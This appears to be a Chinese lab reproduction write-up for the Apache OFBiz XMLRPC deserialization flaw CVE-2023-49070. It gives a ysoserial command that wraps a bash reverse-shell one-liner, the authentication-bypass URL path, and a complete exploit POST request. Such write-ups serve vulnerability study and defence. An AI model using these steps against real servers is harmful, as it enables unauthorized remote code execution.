Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)
概述
Apache OFBiz 是一个开源的企业级应用程序框架,主要用于构建大型的、跨平台的、多层的、分布式的电子商务应用系统。它提供了构建 ERP (企业资源规划), CRM (客户关系管理), 电子商务, SCM (供应链管理) 等系统所需的各种组件和工具。OFBiz 基于 J2EE 和 XML 规范,采用 Java 语言开发,并遵循 Apache License 2.0 许可协议。
在 Apache OFBiz 18.12.10 之前的版本,官方对曾经 XMLRPC 导致的反序列漏洞进行了修复,但是该修复仍存在漏洞,攻击者仍可以构造特定的 XMLRPC 请求,从而造成远程代码执行。
漏洞复现
开启靶场以后,访问 https://192.168.2.243:8443/accounting 即可查看登录页面(注意协议是 HTTPS)。
使用 ysoserial 生成反序列化链 Payload 来执行命令获取 Shell。
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,base64command}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"
随后向存在漏洞的接口发送请求包。
值得注意的是,该漏洞与 CVE-2020-9496 有极大关联,但是 CVE-2020-9496 复现漏洞需要的路径是 /webtools/control/xmlrpc
,无需参数,但是该漏洞需要的路径与参数为:
/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
发送如下请求包。
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.2.243:8443
Content-Type: application/xml
Content-Length: 202
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
成功获取到 Shell。